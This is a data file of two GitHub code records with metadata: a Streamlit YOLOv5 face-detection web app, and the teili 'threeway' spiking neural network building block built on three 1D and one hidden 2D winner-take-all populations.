{"seq_id": "431999970", "text": "import streamlit as st\nimport torch\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport cv2\nfrom streamlit_webrtc import webrtc_streamer,RTCConfiguration,WebRtcMode\nimport time\n\n\nmodel = torch.hub.load('ultralytics/yolov5', 'custom', path='yolov5/runs/train/exp/weights/last.pt', force_reload=True)\n\nRTC_CONFIGURATION = RTCConfiguration({\"iceServers\": [{\"urls\": [\"stun:stun.l.google.com:19302\"]}]})\ndef webcam_detection():\n    st.error(\"Due to Some Issues, Web Cam Detection is Down\")\n    start_button = st.button('Start webcam detection')\n    stop_button = st.button('Stop webcam detection')\n    FRAME_WINDOW = st.image([])\n    #camera = cv2.VideoCapture(0)\n\n    if start_button:\n        run = True\n        while run:\n            # _, frame = camera.read()\n            # frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n            # results = model(frame)\n            # output = np.squeeze(results.render())\n            #frame = webrtc_streamer(key=\"face\",video_frame_callback=video_frame_callback)\n            webrtc_streamer(key=str(time.time()), video_frame_callback=lambda x:video_frame_callback(x,FRAME_WINDOW))\n            # frame = np.array(frame)\n            # results = model(frame)\n            # output = np.squeeze(results.render()) \n            # FRAME_WINDOW.image(output)\n            if stop_button:\n                run = False\n                st.write(\"Webcam has stopped\")\n    else:\n        st.warning(\"Press start button to start webcam detection\")\n\n\ndef image_detection():\n    \n\n    uploaded_file = st.file_uploader(\"Upload Image :\")\n\n    if uploaded_file is not None:\n        img = cv2.imdecode(np.frombuffer(uploaded_file.read(), np.uint8), cv2.IMREAD_COLOR)\n        img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n        results = model(img)\n        output = np.squeeze(results.render())\n        st.image(output, caption='Output Image', use_column_width=True)\n    else:\n        st.warning(\"Please upload an image!\")\n\n    st.write(\"Thank you for using Face Detection Model\")\n\n\ndef video_frame_callback(frame,FRAME_WINDOW):\n    img = frame.to_ndarray(format=\"bgr24\")\n    img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n    results = model(img)\n    output = np.squeeze(results.render())\n    FRAME_WINDOW.image(output)\n\n\ndef main():\n    st.header(\"Face Detection WebApp by Ateeb Khan\")\n    #st.subheader(\"Select the option below to detect\")\n    #option = st.selectbox(\"Select one option\",[\"Image\", \"Webcam\"])\n    #if option == \"Image\":\n    image_detection()\n    #else:\n    #    st.error(\"Webcam face detection is down for now due to error\")                \n        #webcam_detection()\n        #webrtc_streamer(key=\"example\", mode=WebRtcMode.SENDRECV, rtc_configuration=RTC_CONFIGURATION,\n                        #video_processor_factory=webcam_detection)\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "ateebkhan96/Face-Detection", "sub_path": "webapp.py", "file_name": "webapp.py", "file_ext": "py", "file_size_in_byte": 2813, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.hub.load", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.hub", "line_number": 10, "usage_type": "attribute"}, {"api_name": "streamlit_webrtc.RTCConfiguration", "line_number": 12, "usage_type": "call"}, {"api_name": "streamlit.error", "line_number": 14, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 15, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 16, "usage_type": "call"}, {"api_name": "streamlit.image", "line_number": 17, "usage_type": "call"}, {"api_name": "streamlit_webrtc.webrtc_streamer", "line_number": 28, "usage_type": "call"}, {"api_name": "time.time", "line_number": 28, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 35, "usage_type": "call"}, {"api_name": "streamlit.warning", "line_number": 37, "usage_type": "call"}, {"api_name": "streamlit.file_uploader", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.imdecode", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 46, "usage_type": "attribute"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 46, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.squeeze", "line_number": 49, "usage_type": "call"}, {"api_name": "streamlit.image", "line_number": 50, "usage_type": "call"}, {"api_name": "streamlit.warning", "line_number": 52, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 59, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.squeeze", "line_number": 61, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 66, "usage_type": "call"}]}
{"seq_id": "18074007185", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 25 16:09:49 2018\n\n@author: dzenn\n\"\"\"\n\nimport numpy as np\n\nfrom brian2 import ms, SpikeMonitor,\\\n    prefs, PoissonGroup, Hz\n\nfrom teili.building_blocks.building_block import BuildingBlock\nfrom teili.building_blocks.wta import WTA\nfrom teili.core.groups import Connections\nfrom teili.core import tags as tags_parameters\n\nfrom teili.models.neuron_models import DPI\nfrom teili.models.synapse_models import DPISyn\n\nfrom teili.tools.three_way_kernels import A_plus_B_equals_C\nfrom teili.tools.visualizer.DataControllers import Rasterplot\n\ntry:\n    # from pyqtgraph import QtGui\n    from PyQt5 import QtGui\n    import pyqtgraph as pg\n    QtApp = QtGui.QApplication([])\n    SKIP_PYQTGRAPH_RELATED_UNITTESTS = False\nexcept BaseException:\n    SKIP_PYQTGRAPH_RELATED_UNITTESTS = True\n\nthreeway_params = {}\n\nwta_params = {'we_inp_exc': 2000,\n             'we_exc_inh': 300,\n             'wi_inh_exc': -300,\n             'we_exc_exc': 300,\n             'sigm': 2.2,\n             'rp_exc': 3 * ms,\n             'rp_inh': 2 * ms,\n             'ei_connection_probability': 1\n             }\n\n\nthreeway_params.update(wta_params)\n\n\nclass Threeway(BuildingBlock):\n    \"\"\"A network of three 1d WTA populations connected to a hidden 2d WTA\n    population implementing a three-way relation between three 1d quantities\n    A, B and C (e.g. A + B = C) via a hidden population H.\n\n    Attributes:\n        Groups (dict): Complete list of keys of neuron groups, synapse groups\n                       and WTA substructures of the Threeway building block to\n                       be included into Network object for simulation\n        monitors (dict): Complete list of Brian2 monitors for all entities of\n                       the Threeway building block to be included into Network\n                       object for simulation\n        num_input_neurons (int): Sizes of input/output populations A, B and C\n        num_neurons (int): Total amount of neurons used for the Threeway\n                           structure including the hidden population H and\n                           populations of inhibitory neurons used for WTA\n                           connectivity\n        A (WTA): A shortcut for a input/output population A implemented with\n                 a Teili 1d WTA building block\n        B (WTA): A shortcut for a input/output population B implemented with\n                 a Teili 1d WTA building block\n        C (WTA): A shortcut for a input/output population C implemented with\n                 a Teili 1d WTA building block\n        H (WTA): A shortcut for a hidden population H implemented with\n                 a Teili 2d WTA building block\n        Inp_A (PoissonGroup): PoissonGroup obj. to stimulate population A\n        Inp_B (PoissonGroup): PoissonGroup obj. to stimulate population B\n        Inp_C (PoissonGroup): PoissonGroup obj. to stimulate population C\n        value_a (double): Stored input for A (center of a gaussian bump)\n        value_b (double): Stored input for B (center of a gaussian bump)\n        value_c (double): Stored input for C (center of a gaussian bump)\n        standalone_params (dict): Keys for all standalone parameters necessary\n                                  for cpp code generation (TBD)\n    \"\"\"\n\n    def __init__(self, name,\n                 neuron_eq_builder=DPI,\n                 synapse_eq_builder=DPISyn,\n                 block_params=threeway_params,\n                 num_input_neurons=16,\n                 num_hidden_neurons=256,\n                 hidden_layer_gen_func=A_plus_B_equals_C,\n                 cutoff=5,\n                 additional_statevars=[],\n                 spatial_kernel=None,\n                 monitor=True,\n                 debug=False):\n        \"\"\"\n        Args:\n            name (str, required): Name of the TW block\n            neuron_eq_builder (class, optional): neuron class as imported\n                                                 from models/neuron_models\n            synapse_eq_builder (class, optional): synapse class as imported\n                                                  from models/synapse_models\n            block_params (dict, optional): Parameters for neuron populations\n            num_input_neurons (int, optional): Sizes of input/output populations A, B and C\n            num_hidden_neurons (int, optional): Size of the hidden population H\n            hidden_layer_gen_func (class, optional): A class providing connectivity pattern\n            cutoff (int, optional): connectivity kernel cutoff of WTAs\n            additional_statevars (list, optional): List of additonal\n                                                   statevariables which are\n                                                   not standard\n            monitor (bool, optional): Flag to auto-generate spike and\n                                      statemonitors\n            debug (bool, optional): Flag to gain additional information\n        \"\"\"\n        self.num_input_neurons = num_input_neurons\n        self.num_neurons = 3 * int(1.2 * num_input_neurons) + \\\n            int(1.2 * num_hidden_neurons)\n        BuildingBlock.__init__(self, name,\n                               neuron_eq_builder,\n                               synapse_eq_builder,\n                               block_params,\n                               debug,\n                               monitor)\n\n        self.sub_blocks, self._groups, self.monitors, self.standalone_params = gen_threeway(name,\n                                                                          neuron_eq_builder,\n                                                                          synapse_eq_builder,\n                                                                          num_input_neurons=num_input_neurons,\n                                                                          num_hidden_neurons=num_hidden_neurons,\n                                                                          hidden_layer_gen_func=hidden_layer_gen_func,\n                                                                          additional_statevars=additional_statevars,\n                                                                          cutoff=cutoff,\n                                                                          spatial_kernel=spatial_kernel,\n                                                                          monitor=monitor,\n                                                                          debug=debug,\n                                                                          block_params=block_params)\n        \n        set_TW_tags(self, self._groups)\n        \n        # Creating handles for neuron groups and inputs\n        self.A = self.sub_blocks['wta_A']\n        self.B = self.sub_blocks['wta_B']\n        self.C = self.sub_blocks['wta_C']\n        self.H = self.sub_blocks['wta_H']\n        \n        self.Inp_A = self.A._groups['spike_gen']\n        self.Inp_B = self.B._groups['spike_gen']\n        self.Inp_C = self.C._groups['spike_gen']\n\n        self.value_a = np.NAN\n        self.value_b = np.NAN\n        self.value_c = np.NAN\n        \n        self.start_time = 0*ms\n        \n        self.input_groups.update({'A': self.A._groups['n_exc'],\n                                  'B': self.B._groups['n_exc'],\n                                  'C': self.C._groups['n_exc']})\n        self.output_groups.update({'A': self.A._groups['n_exc'],\n                                  'B': self.B._groups['n_exc'],\n                                  'C': self.C._groups['n_exc']})\n        self.hidden_groups.update({'H': self.H._groups['n_exc']})\n\n\n    def set_A(self, value):\n        \"\"\"\n        Sets spiking rates of neurons of the PoissonGroup Inp_A to satisfy\n        a shape of a gaussian bump centered at 'value' between 0 and 1\n\n        Args:\n            value (float): a value to be encoded with an activity bump\n        \"\"\"\n\n        self.Inp_A.rates = double2pop_code(value, self.num_input_neurons)\n        self.value_a = value\n\n    def set_B(self, value):\n        \"\"\"\n        Sets spiking rates of neurons of the PoissonGroup Inp_B to satisfy\n        a shape of a gaussian bump centered at 'value' between 0 and 1\n\n        Args:\n            value (float): a value to be encoded with an activity bump\n        \"\"\"\n\n        self.Inp_B.rates = double2pop_code(value, self.num_input_neurons)\n        self.value_b = value\n\n    def set_C(self, value):\n        \"\"\"\n        Sets spiking rates of neurons of the PoissonGroup Inp_C to satisfy\n        a shape of a gaussian bump centered at 'value' between 0 and 1\n\n        Args:\n            value (float): a value to be encoded with an activity bump\n        \"\"\"\n\n        self.Inp_C.rates = double2pop_code(value, self.num_input_neurons)\n        self.value_c = value\n\n    def reset_A(self):\n        \"\"\"\n        Resets spiking rates of neurons of the PoissonGroup Inp_A to zero\n        (e.g. turns the input A off)\n        \"\"\"\n        self.Inp_A.rates = np.zeros(self.num_input_neurons) * Hz\n        self.value_a = np.NAN\n\n    def reset_B(self):\n        \"\"\"\n        Resets spiking rates of neurons of the PoissonGroup Inp_B to zero\n        (e.g. turns the input B off)\n        \"\"\"\n        self.Inp_B.rates = np.zeros(self.num_input_neurons) * Hz\n        self.value_b = np.NAN\n\n    def reset_C(self):\n        \"\"\"\n        Resets spiking rates of neurons of the PoissonGroup Inp_C to zero\n        (e.g. turns the input C off)\n        \"\"\"\n        self.Inp_C.rates = np.zeros(self.num_input_neurons) * Hz\n        self.value_c = np.NAN\n\n    def reset_inputs(self):\n        \"\"\"\n        Resets all external inputs of the Threeway block\n        \"\"\"\n        self.reset_A()\n        self.reset_B()\n        self.reset_C()\n\n    def get_values(self, measurement_period=100 * ms):\n        \"\"\"\n            Extracts encoded values of A, B and C from the spiking rates of\n            the corresponding populations\n    \n            Args:\n                measurement_period (ms, optional): Sets the interval back from\n                current moment in time for the spikes to be included into\n                rate calculation\n        \"\"\"\n\n        if self.A.monitor is True and self.B.monitor is True and self.C.monitor is True:\n            a = pop_code2double(get_rates(self.monitors['spikemon_A'],\n                                          measurement_period=measurement_period))\n            b = pop_code2double(get_rates(self.monitors['spikemon_B'],\n                                          measurement_period=measurement_period))\n            c = pop_code2double(get_rates(self.monitors['spikemon_C'],\n                                          measurement_period=measurement_period))\n            return a, b, c\n        else:\n            raise ValueError(\n                'Unable to compute population vectors, monitoring has been\\\n                    turned off!')\n            \n    def plot(self):\n        \"\"\"\n            Create a rasterplot of spikes of excitatory neurons of populations\n            A, B and C\n        \"\"\"\n        return plot_threeway_raster(self)\n        \n        \n\n\ndef gen_threeway(name,\n                 neuron_eq_builder,\n                 synapse_eq_builder,\n                 block_params,\n                 num_input_neurons,\n                 num_hidden_neurons,\n                 hidden_layer_gen_func,\n                 additional_statevars,\n                 cutoff,\n                 spatial_kernel,\n                 monitor,\n                 debug):\n    \"\"\"\n        Generator function for a Threeway building block\n    \"\"\"\n\n    # TODO: Replace PoissonGroups as inputs with stimulus generators\n\n    if debug:\n        print(\"Creating WTA's!\")\n\n    wta_A = WTA(name + '_wta_A',\n                dimensions=1,\n                num_inputs=3,\n                block_params=block_params,\n                num_neurons=num_input_neurons,\n                num_inh_neurons=int(0.2*num_input_neurons),\n                cutoff=cutoff,\n                monitor=True,\n                verbose=debug)\n    wta_B = WTA(name + '_wta_B',\n                dimensions=1,\n                num_inputs=3,\n                block_params=block_params,\n                num_neurons=num_input_neurons,\n                num_inh_neurons=int(0.2 * num_input_neurons),\n                cutoff=cutoff,\n                monitor=True,\n                verbose=debug)\n    wta_C = WTA(name + '_wta_C',\n                dimensions=1,\n                num_inputs=3,\n                block_params=block_params,\n                num_neurons=num_input_neurons,\n                num_inh_neurons=int(0.2 * num_input_neurons),\n                cutoff=cutoff,\n                monitor=True,\n                verbose=debug)\n    wta_H = WTA(name + '_wta_H',\n                dimensions=2,\n                num_inputs=3,\n                block_params=block_params,\n                num_neurons=num_input_neurons,\n                num_inh_neurons=int(0.2 * num_hidden_neurons),\n                cutoff=cutoff,\n                monitor=monitor,\n                verbose=debug)\n    \n    sub_blocks = {\n        'wta_A': wta_A,\n        'wta_B': wta_B,\n        'wta_C': wta_C,\n        'wta_H': wta_H}\n\n    wta_A._groups['spike_gen'] = PoissonGroup(name=name + '_input_group_A',\n        N=num_input_neurons, rates=np.zeros(num_input_neurons) * Hz)\n    wta_B._groups['spike_gen'] = PoissonGroup(name=name + '_input_group_B',\n        N=num_input_neurons, rates=np.zeros(num_input_neurons) * Hz)\n    wta_C._groups['spike_gen'] = PoissonGroup(name=name + '_input_group_C',\n        N=num_input_neurons, rates=np.zeros(num_input_neurons) * Hz)\n\n\n    # Creating interpopulation synapse groups\n    syn_A_H = Connections(wta_A.groups['n_exc'], wta_H.groups['n_exc'],\n                          equation_builder=synapse_eq_builder(),\n                          method=\"euler\", name=name + '_s_A_to_H')\n    syn_H_A = Connections(wta_H.groups['n_exc'], wta_A.groups['n_exc'],\n                          equation_builder=synapse_eq_builder(),\n                          method=\"euler\", name=name + '_s_H_to_A')\n    syn_B_H = Connections(wta_B.groups['n_exc'], wta_H.groups['n_exc'],\n                          equation_builder=synapse_eq_builder(),\n                          method=\"euler\", name=name + '_s_B_to_H')\n    syn_H_B = Connections(wta_H.groups['n_exc'], wta_B.groups['n_exc'],\n                          equation_builder=synapse_eq_builder(),\n                          method=\"euler\", name=name + '_s_H_to_B')\n    syn_C_H = Connections(wta_C.groups['n_exc'], wta_H.groups['n_exc'],\n                          equation_builder=synapse_eq_builder(),\n                          method=\"euler\", name=name + '_s_C_to_H')\n    syn_H_C = Connections(wta_H.groups['n_exc'], wta_C.groups['n_exc'],\n                          equation_builder=synapse_eq_builder(),\n                          method=\"euler\", name= name + '_s_H_to_C')\n\n    # Creating input synapse groups\n    wta_A._groups['s_inp_exc'] = Connections(wta_A._groups['spike_gen'],\n                 wta_A.groups['n_exc'], equation_builder=synapse_eq_builder(),\n                            method=\"euler\", name=name + '_s_inp_A')\n    wta_B._groups['s_inp_exc'] = Connections(wta_B._groups['spike_gen'],\n                 wta_B.groups['n_exc'], equation_builder=synapse_eq_builder(),\n                            method=\"euler\", name=name + '_s_inp_B')\n    wta_C._groups['s_inp_exc'] = Connections(wta_C._groups['spike_gen'],\n                 wta_C.groups['n_exc'], equation_builder=synapse_eq_builder(),\n                            method=\"euler\", name=name + '_s_inp_C')\n\n    interPopSynGroups = {\n        's_A_to_H' : syn_A_H,\n        's_H_to_A' : syn_H_A,\n        's_B_to_H' : syn_B_H,\n        's_H_to_B' : syn_H_B,\n        's_C_to_H' : syn_C_H,\n        's_H_to_C' : syn_H_C}\n\n    synGroups = {\n            's_inp_A' : wta_A._groups['s_inp_exc'],\n            's_inp_B' : wta_B._groups['s_inp_exc'],\n            's_inp_C' : wta_C._groups['s_inp_exc']            \n            }\n\n    for tmp_syn_group in synGroups:\n        synGroups[tmp_syn_group].connect('i == j')\n        synGroups[tmp_syn_group].weight = wta_A.params['we_inp_exc']\n\n    synGroups.update(interPopSynGroups)\n\n    # Connecting the populations with a given index generation function\n    # TODO: add more index generating functions\n    index_gen_function = hidden_layer_gen_func\n\n    for tmp_syn_group_name in interPopSynGroups:\n        arr_i, arr_j = index_gen_function(\n            tmp_syn_group_name[-6], tmp_syn_group_name[-1], num_input_neurons)\n        interPopSynGroups[tmp_syn_group_name].connect(i=arr_i, j=arr_j)\n        interPopSynGroups[tmp_syn_group_name].weight = wta_A.params['we_inp_exc']\n\n    groups = {}\n    groups.update(interPopSynGroups)\n\n    if monitor:\n        wta_A.monitors['spikemon_inp'] = SpikeMonitor(\n            wta_A._groups['spike_gen'], name='spikemon' + name + '_InpA')\n        wta_B.monitors['spikemon_inp'] = SpikeMonitor(\n            wta_B._groups['spike_gen'], name='spikemon' + name + '_InpB')\n        wta_C.monitors['spikemon_inp'] = SpikeMonitor(\n            wta_C._groups['spike_gen'], name='spikemon' + name + '_InpC')\n\n    monitors = {\n        'spikemon_InpA': wta_A.monitors['spikemon_inp'],\n        'spikemon_InpB': wta_B.monitors['spikemon_inp'],\n        'spikemon_InpC': wta_C.monitors['spikemon_inp'],\n        'spikemon_A': wta_A.monitors['spikemon_exc'],\n        'spikemon_B': wta_B.monitors['spikemon_exc'],\n        'spikemon_C': wta_C.monitors['spikemon_exc'],\n        'statemon_A': wta_A.monitors['statemon_exc'],\n        'statemon_B': wta_B.monitors['statemon_exc'],\n        'statemon_C': wta_C.monitors['statemon_exc']}\n\n    # monitors.update(wta_A.monitors, wta_B.monitors, wta_C.monitors, wta_H.monitors)\n\n    standalone_params = {}\n\n    return sub_blocks, groups, monitors, standalone_params\n\ndef set_TW_tags(TW_block, _groups):\n    '''\n    Sets default tags to members of the _groups of the Threeway block\n\n    Args:\n        _groups (dictionary): All neuron and synapse groups.\n\n    Returns:\n        _groups (dictionary): All neuron and synapse groups with tags appended.\n    '''\n\n    TW_block._set_tags(tags_parameters.basic_threeway_1WTA_to_2WTA,\n                       _groups['s_A_to_H'])\n    TW_block._set_tags(tags_parameters.basic_threeway_1WTA_to_2WTA,\n                       _groups['s_B_to_H'])\n    TW_block._set_tags(tags_parameters.basic_threeway_1WTA_to_2WTA,\n                       _groups['s_C_to_H'])\n    TW_block._set_tags(tags_parameters.basic_threeway_2WTA_to_1WTA,\n                       _groups['s_H_to_A'])\n    TW_block._set_tags(tags_parameters.basic_threeway_2WTA_to_1WTA,\n                       _groups['s_H_to_B'])\n    TW_block._set_tags(tags_parameters.basic_threeway_2WTA_to_1WTA,\n                       _groups['s_H_to_C'])\n\n\ndef plot_threeway_raster(TW):\n    \"\"\"Function to easily visualize Threeway block activity.\n\n    Args:\n        TW (Threeway BuildingBlock, required): Threeway block to be visualized\n        \n    Returns:\n        mainfig : pyqtgraph MainWindow of the plot\n        plot_A, plot_B, plot_C : Rasterplot objects of teili visualizer\n    \"\"\"\n    app = QtGui.QApplication.instance()\n    if app is None:\n        app = QtGui.QApplication()\n    else:\n        print('QApplication instance already exists: %s' % str(app))\n\n    pg.setConfigOptions(antialias=True)\n\n    mainfig = pg.GraphicsWindow(title='Threeway Raster plots')\n    mainfig.resize(1200,850)\n    subfig1 = mainfig.addPlot(row=0, col=0)\n    subfig2 = mainfig.addPlot(row=1, col=0)\n    subfig3 = mainfig.addPlot(row=2, col=0)\n    subfig1.setXLink(subfig2)\n    subfig3.setXLink(subfig1)\n    \n    plot_A = Rasterplot([TW.monitors['spikemon_A']],\n                        neuron_id_range=(0,TW.A.num_neurons),\n                        title=\"Population A\",\n                        ylabel='Neuron ID', xlabel='time, s',\n                        mainfig=mainfig, subfig_rasterplot=subfig1,\n                        backend='pyqtgraph', QtApp=app,\n                        show_immediately=False)\n    \n    plot_B = Rasterplot([TW.monitors['spikemon_B']],\n                        neuron_id_range=(0,TW.B.num_neurons),\n                        title=\"Population B\",\n                        ylabel='Neuron ID', xlabel='time, s',\n                        mainfig=mainfig, subfig_rasterplot=subfig2,\n                        backend='pyqtgraph', QtApp=app,\n                        show_immediately=False)\n    \n    plot_C = Rasterplot([TW.monitors['spikemon_C']],\n                        neuron_id_range=(0,TW.C.num_neurons),\n                        title=\"Population C\",\n                        ylabel='Neuron ID', xlabel='time, s',\n                        mainfig=mainfig, subfig_rasterplot=subfig3,\n                        backend='pyqtgraph', QtApp=app,\n                        show_immediately=True)\n\n    return mainfig\n\n\ndef gaussian(mu, sigma, amplitude, input_size):\n    \"\"\"\n        Generate rates based on the gaussian profile\n    \"\"\"\n    i = np.arange(input_size)\n    shift = mu % 1\n    coarse = int(mu - shift)\n#    dist = amplitude*np.exp(-np.power((i - shift - int(input_size/2))/input_size, 2.) / (2 * np.power(sigma, 2.)))\n    dist = amplitude*np.max([np.exp(-np.power((i - shift -\n                            int(input_size/2))/input_size, 2.) /\n                            (2 * np.power(sigma, 2.))),\n            np.exp(-np.power((i - shift - int(input_size/2))/input_size+1, 2.) /\n                       (2 * np.power(sigma, 2.)))], axis = 0)\n    return dist[(int(input_size/2) - coarse + i)%input_size]\n\ndef double2pop_code(value, input_size, sigma=None, amplitude=100):\n    \"\"\"\n        Generate rates based on the gaussian profile\n    \"\"\"\n    if sigma is None:\n        sigma = 1/input_size\n    \n    mu = value*input_size % input_size\n    activity = gaussian(mu, sigma, amplitude, input_size)\n    return activity * Hz\n\n\ndef pop_code2double(pop_array):\n    \"\"\"Calculate circular mean of an array\n\n    @author: Peter Diehl\n    \"\"\"\n    size = len(pop_array)\n    complex_unit_roots = np.array(\n        [np.exp(1j * (2 * np.pi / size) * cur_pos) for cur_pos in range(size)])\n    cur_pos = (np.angle(np.sum(pop_array * complex_unit_roots)) %\n               (2 * np.pi)) / (2 * np.pi)\n    return cur_pos%1\n\n\ndef get_rates(spikemon, measurement_period=100 * ms):\n    \"\"\"\n        Get firing rates of neurons based on most recent activity within\n        the measurement period\n    \"\"\"\n    rates = np.zeros(len(spikemon.event_trains()))\n    rates = [len(spikemon.event_trains()[i][spikemon.event_trains()[i] >\n                 spikemon.clock.t - measurement_period]) / measurement_period\n             for i in range(len(spikemon.event_trains()))]\n\n    #  if debug and len(spikemon.t):\n    #      print('Simulation time', spikemon.t / ms, 'ms')\n    return rates\n\nif __name__ == '__main__':\n    \n    prefs.codegen.target = \"numpy\"\n    \n    TW = Threeway('TestTW', debug = True)\n", "repo_name": "russelljjarvis/teili", "sub_path": "teili/building_blocks/threeway.py", "file_name": "threeway.py", "file_ext": "py", "file_size_in_byte": 22889, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PyQt5.QtGui.QApplication", "line_number": 29, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 29, "usage_type": "name"}, {"api_name": "brian2.ms", "line_number": 41, "usage_type": "name"}, {"api_name": "brian2.ms", "line_number": 42, "usage_type": "name"}, {"api_name": "teili.building_blocks.building_block.BuildingBlock", "line_number": 50, "usage_type": "name"}, {"api_name": "teili.models.neuron_models.DPI", "line_number": 86, "usage_type": "name"}, {"api_name": "teili.models.synapse_models.DPISyn", "line_number": 87, "usage_type": "name"}, {"api_name": "teili.tools.three_way_kernels.A_plus_B_equals_C", "line_number": 91, "usage_type": "name"}, {"api_name": "teili.building_blocks.building_block.BuildingBlock.__init__", "line_number": 119, "usage_type": "call"}, {"api_name": "teili.building_blocks.building_block.BuildingBlock", "line_number": 119, "usage_type": "name"}, {"api_name": "numpy.NAN", "line_number": 151, "usage_type": "attribute"}, {"api_name": "numpy.NAN", "line_number": 152, "usage_type": "attribute"}, {"api_name": "numpy.NAN", "line_number": 153, "usage_type": "attribute"}, {"api_name": "brian2.ms", "line_number": 155, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 207, "usage_type": "call"}, {"api_name": "brian2.Hz", "line_number": 207, "usage_type": "name"}, {"api_name": "numpy.NAN", "line_number": 208, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 215, "usage_type": "call"}, {"api_name": "brian2.Hz", "line_number": 215, "usage_type": "name"}, {"api_name": "numpy.NAN", "line_number": 216, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 223, "usage_type": "call"}, {"api_name": "brian2.Hz", "line_number": 223, "usage_type": "name"}, {"api_name": "numpy.NAN", "line_number": 224, "usage_type": "attribute"}, {"api_name": "brian2.ms", "line_number": 234, "usage_type": "name"}, {"api_name": "teili.building_blocks.wta.WTA", "line_number": 289, "usage_type": "call"}, {"api_name": "teili.building_blocks.wta.WTA", "line_number": 298, "usage_type": "call"}, {"api_name": "teili.building_blocks.wta.WTA", "line_number": 307, "usage_type": "call"}, {"api_name": "teili.building_blocks.wta.WTA", "line_number": 316, "usage_type": "call"}, {"api_name": "brian2.PoissonGroup", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 333, "usage_type": "call"}, {"api_name": "brian2.Hz", "line_number": 333, "usage_type": "name"}, {"api_name": "brian2.PoissonGroup", "line_number": 334, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 335, "usage_type": "call"}, {"api_name": "brian2.Hz", "line_number": 335, "usage_type": "name"}, {"api_name": "brian2.PoissonGroup", "line_number": 336, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 337, "usage_type": "call"}, {"api_name": "brian2.Hz", "line_number": 337, "usage_type": "name"}, {"api_name": "teili.core.groups.Connections", "line_number": 341, "usage_type": "call"}, {"api_name": "teili.core.groups.Connections", "line_number": 344, "usage_type": "call"}, {"api_name": "teili.core.groups.Connections", "line_number": 347, "usage_type": "call"}, {"api_name": "teili.core.groups.Connections", "line_number": 350, "usage_type": "call"}, {"api_name": "teili.core.groups.Connections", "line_number": 353, "usage_type": "call"}, {"api_name": "teili.core.groups.Connections", "line_number": 356, "usage_type": "call"}, {"api_name": "teili.core.groups.Connections", "line_number": 361, "usage_type": "call"}, {"api_name": "teili.core.groups.Connections", "line_number": 364, "usage_type": "call"}, {"api_name": "teili.core.groups.Connections", "line_number": 367, "usage_type": "call"}, {"api_name": "brian2.SpikeMonitor", "line_number": 405, "usage_type": "call"}, {"api_name": "brian2.SpikeMonitor", "line_number": 407, "usage_type": "call"}, {"api_name": "brian2.SpikeMonitor", "line_number": 409, "usage_type": "call"}, {"api_name": "teili.core.tags.basic_threeway_1WTA_to_2WTA", "line_number": 440, "usage_type": "attribute"}, {"api_name": "teili.core.tags", "line_number": 440, "usage_type": "name"}, {"api_name": "teili.core.tags.basic_threeway_1WTA_to_2WTA", "line_number": 442, "usage_type": "attribute"}, {"api_name": "teili.core.tags", "line_number": 442, "usage_type": "name"}, {"api_name": "teili.core.tags.basic_threeway_1WTA_to_2WTA", "line_number": 444, "usage_type": "attribute"}, {"api_name": "teili.core.tags", "line_number": 444, "usage_type": "name"}, {"api_name": "teili.core.tags.basic_threeway_2WTA_to_1WTA", "line_number": 446, "usage_type": "attribute"}, {"api_name": "teili.core.tags", "line_number": 446, "usage_type": "name"}, {"api_name": "teili.core.tags.basic_threeway_2WTA_to_1WTA", "line_number": 448, "usage_type": "attribute"}, {"api_name": "teili.core.tags", "line_number": 448, "usage_type": "name"}, {"api_name": "teili.core.tags.basic_threeway_2WTA_to_1WTA", "line_number": 450, "usage_type": "attribute"}, {"api_name": "teili.core.tags", "line_number": 450, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QApplication.instance", "line_number": 464, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QApplication", "line_number": 464, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 464, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QApplication", "line_number": 466, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 466, "usage_type": "name"}, {"api_name": "pyqtgraph.setConfigOptions", "line_number": 470, "usage_type": "call"}, {"api_name": "pyqtgraph.GraphicsWindow", "line_number": 472, "usage_type": "call"}, {"api_name": "teili.tools.visualizer.DataControllers.Rasterplot", "line_number": 480, "usage_type": "call"}, {"api_name": "teili.tools.visualizer.DataControllers.Rasterplot", "line_number": 488, "usage_type": "call"}, {"api_name": "teili.tools.visualizer.DataControllers.Rasterplot", "line_number": 496, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 511, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 515, "usage_type": "call"}, 